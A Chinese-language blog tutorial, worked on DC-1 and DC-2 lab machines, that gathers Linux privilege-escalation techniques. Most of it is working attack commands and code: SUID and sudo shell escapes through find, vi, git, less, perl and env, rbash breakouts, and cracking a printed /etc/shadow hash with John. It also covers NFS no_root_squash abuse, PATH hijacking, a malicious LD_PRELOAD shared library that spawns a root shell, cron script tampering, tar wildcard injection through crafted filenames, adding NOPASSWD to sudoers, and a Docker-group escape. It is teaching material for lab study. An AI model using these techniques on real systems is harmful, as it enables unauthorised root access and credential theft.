linux提权——知识总结
2025-06-07 18:07:30简介本文总结了linux提权的常用方法,其中具体的被用于提权的工具如perl,python,git,man等,它们其实你在理解了suid和sudo提权后,都能够明白怎么在这两种方法转换,所以就没反复重写了。
注意:本文所讨论技术,均限学习使用,请勿用于违法行为。
suid提权
SUID(Set User ID)是一种特殊权限位 , 普通用户运行该文件时时,会以该文件“所属用户”的身份来执行程序,suid只能赋予2进制文件
chmod u-s /bin/mount 给mount文件取消suid
chmod u+s /bin/mount 给mount文件设置suid
那如果有个程序,被赋予了suid,它的属主还是root,等同于我即使是普通用户aaa但运行这个程序还是以root权限,那就产生了提权。
查找设置了suid的文件
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -u=s -type f 2>/dev/null
find / -user root -perm -u=s -type f 2>/dev/null -exec ls -ldb {} \;
find / -user root -perm -u=s -type f 2>/dev/null -exec ls -ldb {} +
可以给目录设置suid,但没有用就是了
-perm -u=s 表示匹配用户权限中至少有s位,如果是-perm u=s则表示匹配用户权限中只有s位(这就比较奇葩)
-user root 表示文件属主为root(只有是属主为root,你利用才是root权限,不然就是其他属主的权限)
-type f 表示匹配文件类型的,不加可以,但会匹配到带suid的目录(但注意带suid的目录下的文件并不会有suid的特性)
2>/dev/null 表示把find命令没权限访问的目录报错信息定位到null,也就不输出报错信息了
-exec 表示对前面找到的文件,执行的命令 {}就是被找到的文件的占位符
\; 这里的\其实是为了转义; 有些系统其实支持用 + 代替 \; 但有些不支持
比如dc1靶机的环境
账号 flag4
密码 orange
查看该文件的所有者,发现是文件的拥有者是root,
ls -l /usr/bin/find
-rwsr-xr-x 1 root root 162424 Jan 6 2012 /usr/bin/find
│└─► 3~10位:权限信息(r=读,w=写,x=执行,s=SUID)
└──► 第1位:文件类型(- 表示普通文件)
所有者(user)的权限 所属组(group)的权限 其他用户(others)的权限
2. 硬链接数(1)表示有 1 个硬链接指向这个文件(一般对普通文件来说就是 1)。
3. 所有者(root) 文件的属主,即该文件属于哪个用户。
4. 所属组(root)文件的属组,即该文件属于哪个用户组。
5. 文件大小(162424)文件的大小,以字节为单位(这里是约 158 KB)。
6. 修改时间(Jan 6 2012)文件的最后修改日期。
7. 文件路径(/usr/bin/find)文件的完整路径。
find命令提权
find / -exec /bin/bash \;但这个提权方法会导致你退出一个shell还会找到新文件又执行个shell,等同于你退不出来(你可以直接找个唯一的文件名)
这里你可能奇怪为什么whoami是flag4
这就是suid的主动降权,我们晚点讲,先尝试成功提权
suid提权——主动降权
虽然root属主且设置了suid会以root运行
但很多shell,即使设置了suid,它为了安全,会主动降权运行
比如
/bin/bash
/bin/sh
/bin/dash
zsh
ash
ksh
fish
但不用担心,使用-p参数可以开启特权模式。在此模式下,shell不会放弃特权。继承上级权限
/bin/dash -p
后面还会有对应的演示。
rbash绕过rbash即restricted bash,普通用户有自己的bash,管理员可以指定普通用户的bash为rbash,在rbash中就会有很多命令和行为不能用了。
rbash的本质是一种弱沙盒
禁止使用 cd 命令(即不能主动切换目录)
限制修改 $PATH 等环境变量
限制使用重定向(比如 >, >>, <)
限制运行的工具或脚本带有绝对路径或包含斜杠(如 ./script.sh、/bin/ls),即所用的命令不带/
这里如果ls命令被cp到了$HOME下,ls /var/www 还是可以的,但 /home/aaa/bin/ls /var/www是不行的
绕过rbash本身不算提权,即使绕过了rbash,绕过后身份依旧是当前用户身份
相关操作命令(搭建环境的方法)
sudo adduser aaa 创建个用户
sudo ln -s /bin/bash /bin/rbash # 如果还没有做过
sudo usermod -s /bin/rbash aaa 创建用户后,将其默认 shell 更改为 rbash
(或者sudo chsh -s /bin/rbash aaa 都是更改用户shell的 usermod是系统级工具,chsh短小好记)
sudo mkdir /home/aaa/bin 在用户目录下创建个bin目录
拷贝允许使用的命令进去(例如 ls, cat, echo)
sudo cp /bin/ls /home/aaa/bin/
将用户的 $HOME/bin 目录设为唯一的命令执行路径,修改概述文件,最后位置覆盖PATH变量
sudo nano /home/aaa/.profile
尾巴添加
PATH="$HOME/bin"
export PATH
写入,enter退出
su - aaa 切换用户去测试下
echo 是 bash 的内建命令(builtin),不依赖外部文件;
即使 PATH 中没有 echo 的可执行文件,bash 内建命令仍然可用;
所以你在 rbash 下仍能正常使用
sudo 是一个外部可执行文件,通常位于 /usr/bin/sudo;
sudo文件的位置
which sudo
/usr/bin/sudo
cp /usr/bin/sudo /home/aaa/bin 后需要配置suid
你也可以下载个靶机dc2靶机 Username: tom, Password: parturient
第一步查询当前$PATH
echo $PATH
检查有哪些文件能用,看看文件拥有者
ls -al $PATH/
现在可以试试vi提权
vi
vi有自己的命令模式 :就是命令模式的前缀
:shell 进入一个shell页面
:!<你想要执行的命令,比如whoami> 注意这里的环境变量PATH是按当前环境的,故改为/usr/bin/whoami, 但此时还是不行, 因为当前vi的shell默认是 运行它的shell,也就是 rbash
:set shell=/bin/bash 将当前vi运行的shell设置为/bin/bash 这是 vi 的内部设置
:shell 这时在进入,但此时的环境变量还是没变的
export PATH=/usr/bin
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/
export PATH=$PATH:/bin:/usr/bin
find / -name aaa 2>/dev/null -exec /usr/bin/bash \;
find / -name aaa 2>/dev/null -exec /bin/sh \;
提升交互性
python -c "import pty;pty.spawn('/bin/sh')"
python3 -c "import pty;pty.spawn('/bin/sh')"
如果没提升交互感,说明当前的PATH下没有python或python3
PY=$(which python3); $PY -c "import pty; pty.spawn('/bin/sh')"
$(which python3) -c "import pty; pty.spawn('/bin/sh')"
ed绕过
ed
!'/bin/sh'
sh,bash,dash绕过 如果有这些工具的话
python,perl绕过
python3 -c 'import os; os.system("/bin/sh");'
perl -e 'system("/bin/sh");'
awk绕过
awk 'BEGIN {system("/bin/sh")}'
more绕过 less man
more .bashrc 需要当前目录下有文件可读,家目录下都有.bashrc 文件要够长能分页,或者把shell变短
!'sh'
ssh绕过
ssh user@host /bin/bash 通过SSH登录到远程机器host 然后在远程机器上执行 /bin/bash
没有/bin/bash 默认进入交互shell 不用-t
ssh -t localhost /bin/bash -t强制分配伪终端(即使是远程命令)
ssh aaa@localhost -t "bash --noprofile" bash --noprofile:启动一个新的 Bash shell,但不加载 /etc/profile 和 ~/.bash_profile 等初始化文件。也有说不读bashrc
不加t
加t
技术细节:rbash 限制是怎么触发的?bash会根据 启动时的文件名来判断是否启用受限模式:
如果启动文件名是rbash或带-r,就启用受限模式所以即使你运行的是/bin/bash,但你用的是/bin/rbash链接名,bash 也会切换到受限模式
这就是所谓的 "invocation name matters"(调用名决定行为)
sudo提权sudo是以root权限去运行一个命令
sudo只需要知道当前账号的密码,而su需要知道被切换账号的密码
(注意:可能是因为sudo是设置了suid的原因, sudo会用 root 的$PATH和 root 的权限执行)
当调用sudo时,系统就会先查看 /etc/sudoers 配置文件
/etc/sudoers 配置文件 主要有两行比较重要
# User privilege specification (这个是配置单个用户的)
root ALL=(ALL:ALL) ALL
# Allow members of group sudo to execute any command (这个是配置一个用户组的)
%sudo ALL=(ALL:ALL) ALL
alice ALL=(ALL:ALL) ALL
alice:指定用户(也可以是 %group)
tab键
ALL:适用于所有主机(多用于集中管理)
(ALL:ALL):可切换为任何用户和用户组(第一个 ALL 是 runas user,第二个是 group)
空格
ALL:可以运行任何命令 tag:ALL 标签,执行命令路径 nopasswd不需要输入密码
aaa ALL=(ALL:ALL) /usr/bin/find,/usr/bin/perl,/usr/bin/python3,/usr/bin/less,/usr/bin/awk,/usr/bin/man,/usr/bin/vi
visudo是专门编辑sudoers的命令工具,它和vi的区别是在关闭保存sudoers会检查语法格式
dc2靶机
| Username: jerry, Password: adipiscing | Username: tom, Password: parturient
sudo -l 就是查看当前用户对应的sudo配置策略
(root) NOPASSWD: /usr/bin/git
jerry的sudo权限中 可以无密码(jerry自己的密码) 以 root 运行 /usr/bin/git
(root) /usr/bin/git
git提权第一种
sudo git help config
回车然后输入(其实不用回车)
!/bin/bash (这里bash也可以换成sh)
第二种(注意teminal最好短点,不然一页就显示完了)
sudo git -p help
回车输入(其实不用回车)
!/bin/bash (这里bash也可以换成sh)
perl提权
perl -e 'exec "/bin/bash";'
python3提权python3 -c 'import pty;pty.spawn("/bin/bash")'
less提权less <任意文件文件>
!/etc/bash
man提权man提供某个命令、系统调用、配置文件等的详细文档, 命令的作用 , 语法(用法) , 参数说明等
查看某个命令的手册页 , 会显示关于ls命令的说明
man ls
提权!/bin/bash!代表执行后面的命令
env提权env用于查看、修改或在特定环境变量下运行命令
查看当前环境变量
env
提权方法
sudo env /bin/bash
ftp提权sudo ftp
ftp> !/bin/bash
socat提权
通过socat客户端连接攻击机,这里不演示了
scp提权
scp(secure copy)是一个基于 SSH 的命令行工具,用来在 本地和远程机器之间复制文件
scp是个安全复制文件的命令,不能直接获得shell,但可以用它把敏感文件/etc/passwd或者/etc/shadow等,复制到其他ip的主机,或者一个可访问的目录,然后密码破解。
这里就仅演示下怎么利用shadow文件去密码爆破
提取其中带密码的一行(这里就别选$y$,这是 yescrypt 哈希,john社区版不支持)
kss:$6$u67cThe4dbqM9ZB5$BJptnHf2VaVBAVF/j5IXyMQnCs6N0vHmmndAnK8abvZN5cUaMzUPBiVCajQL9mQRewYeCDxX1surugKJL8imR.:20153:0:99999:7:::提取其中hash部分
$6$u67cThe4dbqM9ZB5$BJptnHf2VaVBAVF/j5IXyMQnCs6N0vHmmndAnK8abvZN5cUaMzUPBiVCajQL9mQRewYeCDxX1surugKJL8imR.
将它保存到一个.txt文件(你保存整串也行,john也能识别)
注意千万别有多余的换行
使用john爆破下
john clean.txt
nano类似工具的妙用nano如果是setuid或者可以sudo
它能复制shadow文件,然后爆破
nano -p /etc/shadow-p:nano 的选项,表示 保留文件权限(尝试以原始权限打开文件)。
你也可以拿来修改sudoers文件,
这里最有意思的是你可以修改/etc/passwd文件把uid和gid改为0,这样直接让普通用户变root
(这里bash路径忘改了)
sudoers添加脚本sudoers不单单可以添加工具,还可以添加个脚本
比如a.sh
#!/bin/bash
/bin/bash
创建时记得给权限
那么运行它时可以用
sudo /tmp/a.sh
sudoers配置黑名单,以及绕过
允许其他所有,但禁止使用find命令
aaa ALL=(ALL:ALL) ALL,!/usr/bin/find
它禁用/usr/bin/find
那我复制到其他目录不就可以了
cp /usr/bin/find . 复制到当前目录下然后sudo复制的find
sudo ./find
NFS配置不当配合suid提权2049 nfs端口
111 rpc端口
NFS 是 Network File System(网络文件系统)
工作机制:
服务器端(NFS Server):导出(export)某个目录作为共享资源。
客户端(NFS Client):使用mount命令将远程目录挂载到本地目录。
通信协议:使用 RPC(Remote Procedure Call)机制进行通信,端口通常为 2049。
举个例子(Linux 下):
服务端(192.168.1.100)配置:
# /etc/exports
/home/share 192.168.1.0/24(rw,sync,no_root_squash)(rw,sync,no_root_squash)是常见的问题写法
rw 表示客户端读写权限,
no_root_squash 如果客户端是 root用户访问共享目录,那它在服务器上也会被当作真正的 root,拥有完整的读写权限。 (真正的危险所在)
sync表示每次客户端对文件进行写操作时,NFS 服务器都会立即将数据写入磁盘。你不加sync,如(rw,no_root_squash)也是默认sync
客户端(一般为攻击机kali)挂载:
sudo mount 192.168.1.100:/home/share /mnt/nfs
我的kali是肯定能用root的,然后我在被攻击机上写一个/bin/bash,并赋予suid权限,这如果你在被攻击机上用普通账户,能访问到我写的目录,那不就提权了吗?(注意使用bash时加个 -p)
理论上vi那些你常用的提权工具都行
PATH提权( PATH 劫持 )
假设受害者电脑上有那么个程序whoamipriv设置了suid,这个程序运行后会调用whoami
这时你修改PATH变量,比如export PATH=/tmp:$PATH
然后在/tmp下放个你写个恶意程序叫whoami,那么运行whoamipriv时就会先调用你的程序,从而提权。
不过我感觉这个对目标程序的条件还是比较苛刻的。
环境搭建
未编译的c代码
#include
void main()
{
setuid(0);
setgid(0);
system("whoami");
}
这里为什么有setuid(0);setgid(0);
一个设置了 SUID 的程序,如果它用system()来执行别的程序(不管是脚本还是 ELF 可执行文件),这些“被调用的程序”通常不会继承 SUID 权限。加上才能用,所以条件也苛刻的。
system("whoami") 实际做了什么
等价于
execl("/bin/sh", "sh", "-c", "whoami", NULL);也就是说,它是调用/bin/sh来解释执行字符串"whoami"。
你设置了PATH=/tmp:$PATH,所以它找到了/tmp/whoami然而,执行的是/bin/sh→whoami/bin/sh 本身没有 SUID,所以执行环境是以普通用户身份运行的所以/tmp/whoami是被“普通用户权限”的sh执行的,SUID 权限不会传递
编译那个c代码(如果你要自己搭建环境的话)
gcc whoami.c -o whoamipriv注意这里你要用root去编译,因为后面要结合suid
设置777
复制文件
设置suid
chmod 777 whoamipriv
cp whoamipriv /home/bbb
chmod u+s /home/bbb/whoamipriv
用bbb登入,运行下whoamipriv
在tmp目录(因为这个文件我们都有写权限)下生成个叫做whoami的文件
echo "/bin/bash" > /tmp/whoami
chmod 777 /tmp/whoami //很容易忘掉
其实这一步你换为
cp /bin/sh /tmp/whoami
或者
符号链接
sudo ls -s /bin/sh whoami
export PATH=.:$PATH
改变下PATH,让它第一环境目录为/tmp
export PATH=/tmp:$PATH //如果报错就加个""
现在运行
sudo可以吗?当bbb用sudo运行一个程序,程序中的system("whoami")会使用root 的 PATH 环境变量,不是 bbb 的 PATH。
但是,sudo -E xxxxxx
加-E可以保留环境变量,但前提是 sudo 配置文件(/etc/sudoers)中允许保留环境变量
Defaults env_keep += "PATH"
LD_PRELOAD提权
LD_PRELOAD 是 Linux 下一个环境变量, 用来 在程序运行前预先加载你指定的动态链接库(.so 文件)。
当你执行:
LD_PRELOAD=./ddd.so ./whoa你是通过环境变量告诉动态链接器(ld-linux.so):
“在加载程序的正常依赖库之前,强制优先加载这个库 ddd.so。”
但有两个禁忌
LD_PRELOAD的.so文件,对于setuid的程序,不以root运行,而且出于安全,LD_PRELOAD 默认是无效的,.so 文件不会被加载。
仅适用于使用动态链接(glibc)的 ELF 程序(只要是动态的,不管你调不调恶意库,都会运行),如果目标程序是静态编译的,LD_PRELOAD 无效。
现在,假设你在用户bbb下sudo LD_PRELOAD=./ddd.so <任意sudoers运行你的工具>
那./ddd.so就按root运行了,这就是提权原理
现在我们来制作这么个恶意.so
叫做soshell.so
先写个c语言sotest.c
#include
#include
#include
void _init(){
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}
给它编译下
gcc sotest.c -fPIC -shared -o soshell.so -nostartfiles-fPIC 生成位置无关代码(Position Independent Code),这是创建.so所必需的
-shared 告诉编译器生成共享库(而不是可执行文件) 共享对象(.so)文件
-o 输出的共享库文件名,一般以lib开头 (我这就不遵循了)
-nostartfiles 运行我们的库时,不会加上启动用的crt文件 , 只生成你写的函数,没有main()、_start()那套启动流程 , 精简.so文件体积 、避免干扰 , 让编译器只保留你写的函数逻辑,不加任何系统启动流程。
用bbb去wget下(这具体是模拟你怎么把.so搞到,bbb的可控目录下,你用bbb的gcc也可以如果有的话)
这里要改权限
chmod 777 soshell.so
sudo在运行时,用的是root的PATH,而且还会为了安全,清除某些敏感环境变量(就是当前账号传递的而不是root的) ,LD_PRELOAD 就是其中之一 。
sudo LD_PRELOAD=./soshell.so ls
所以visudo配置下sudoers(这利用条件确实还是苛刻)
Defaults env_keep += LD_PRELOAD保留这个变量
sudo -l测试
很明显ls是动态库
提权(顺序别错了)
sudo LD_PRELOAD=./soshell.so ls
Cron提权
情景
你能改/etc/crontab中计划定时运行的目标脚本
假设/etc/crontab中定时计划每隔一分钟运行thinksafe.sh
*/3 * * * * root /tmp/thinksafe.sh
每隔3个第一字段的单位,也就是每隔3分钟
17 * * * * root cd / && run-parts --report /etc/cron.hourly
每小时的第 17 分钟
现在我们可以修改thicksafe.sh
这我们把它改为
#!/bin/bash
chmod u+s /bin/dash
如果你自己搭环境记得
chmod 777 /tmp/thinksafe.sh
当前是没设置suid的
等个一分钟
切换bbb用户运行提权先试试不用-p,再用-p
/bin/dash -p
通配符结合tar定时任务提权
许多linux系统的管理员为了确保电脑的容灾能力,一般会设计个定时备份某个目录的任务
对应的配置是
这个任务的执行脚本大概是
#!/bin/bash
cd /target
tar cf /var/backups/tbackup.tar *(搭环境时记得chmod)
这个*号通配符,匹配的是/target/目录下的所有文件名
假设我们的低权限账号对这个目录有创建文件的权限
这就有一个很有意思的地方
假如/target/目录下有几个文件的名字是 tar的参数呢?
我们先学习tar的一些参数
tar cf /var/backups/tbackup.tar aa bb cc --checkpoint=1 --checkpoint-action=exec=./tarsh.shc 创建一个新的归档(create)。
f 指定归档文件的文件名,需紧跟文件名。
--checkpoint=3 表示每打包3个文件,就触发一次 checkpoint
--checkpoint-action=exec= 每次checkpoint执行的命令
这里可以把./tarsh.sh换成任何我们想执行的命令,我这里就写个脚本
#!/bin/bash
chmod u+s /bin/dashecho "aaa ALL=(root) NOPASSWD: ALL" >> /etc/sudoers
记得给tarsh.sh用chmod给权限
现在我们在目录下创建两个文件,文件名为 tar的参数
echo "" > --checkpoint=1
echo "" > "--checkpoint-action=exec=sh tarsh.sh"
你可能想问为什么不是echo "" > "--checkpoint-action=exec=./tarsh.sh"
因为/不能作为文件名啊如果要删除的话rm -- '--checkpoint=1'
补上之前的tarsh.sh
先把/bin/dash的suid权限改回来
chmod u-s /bin/dash
对了,自己搭环境记得给tarsh.sh和backup.sh搞下chmod
提权成功
利用docker提权( Docker 容器逃逸 )
这个其实我看文档有那么复杂的,但我们就学个最简单的
在linux中有个用户组叫docker组
如果一个账号在docker组中,部分默认情况下就能提权
先创建个账号ddd
useradd ddd
我们先添加个ddd到docker组
usermod -aG docker ddd
现在直接用ddd账号执行这条命令
docker run -v /etc:/mnt -it alpine
alpine镜像(一个极简 Linux 发行版,才几m) ,第一次可能会自动下载这个镜像
-v /etc:/mnt 把宿主机的 /etc 目录挂载到容器内的 /mnt 路径下(volume 映射)
-it 以交互模式运行容器(-i保持标准输入打开,-t分配一个伪终端)
docker run 启动一个新的 Docker 容器
这样不就能读取到shadow文件,进而爆破提权吗?(这只是一种思路)
或者给它来个suid提权
find提权find / -name target -exec /bin/bash -p \;
内核提权信息收集
uname -a # 查看内核版本
cat /proc/version # 查看内核版本信息
cat /etc/issue # 查看发行版
id # 当前用户权限
概念区分要清晰这里我觉得我有必要细讲点区别,这是很多初学者都搞混的
首先uname -a会出来一堆数据,但实际上重要的就几个
uname -a
Linux kss-VMware-Virtual-Platform 6.11.0-25-generic #25~24.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue Apr 15 17:20:50 UTC 2 x86_64 x86_64 x86_64 GNU/Linux其中我们主要看的是
6.11.0-25-generic #25~24.04.1-Ubuntu这里6.11.0-25-generic代表的是与linux内核有关的信息
#25~24.04.1-Ubuntu代表的是与ubuntu系统有关的东西
ubuntu是个系统,基于linux内核开发的
很多人说内核提权,信息收集了个ubuntu24就结束了,结果你连内核版本号是什么都不知道。(当然你直接用ubuntu24.04.1并没错,而且很多时候就是用ubuntu24.04.1,但你概念要清晰。)
6.11.0-25-generic
6.11.0 Linux 内核的主版本号(主线内核 6.11)
-25 Ubuntu针对该内核的 第 25 次打包/构建版本
-generic 使用的是 Ubuntu 的“通用”内核配置(适用于大多数桌面/服务器用户)
#25~24.04.1-Ubuntu
Ubuntu 对 Linux 内核版本 6.11.0 做了第 25 次构建/打包,这个构建是面向 Ubuntu 24.04.1 系统发布的。
至于其他的
Linux kss-VMware-Virtual-Platform 6.11.0-25-generic #25~24.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue Apr 15 17:20:50 UTC 2 x86_64 x86_64 x86_64 GNU/Linux
x86_64 x86_64 x86_64
内核是64位架构编译的
你当前的硬件是64位架构
运行的操作系统也是64位架构
然后你就去搜具体的cve或者对应的提权脚本
Dirty Cow CVE-2016-5195 < 4.8.3
OverlayFS CVE-2015-1328 Ubuntu 内核 < 3.19
PTRACE漏洞 CVE-2013-2094 Debian/Ubuntu 等
UDEV漏洞 CVE-2009-1185 多版本旧内核
Dirty Pipe CVE-2022-0847 Linux 5.8 ~ 5.16.11 msf像msf的post/multi/recon/local_exploit_suggester模块也可以帮你查提权
我之前文章写过
这个就不细讲了。
结语这篇文章是真的肝啊,晚上抽空写的,来来回回写了可能有1周了吧。希望对各位有用,花花。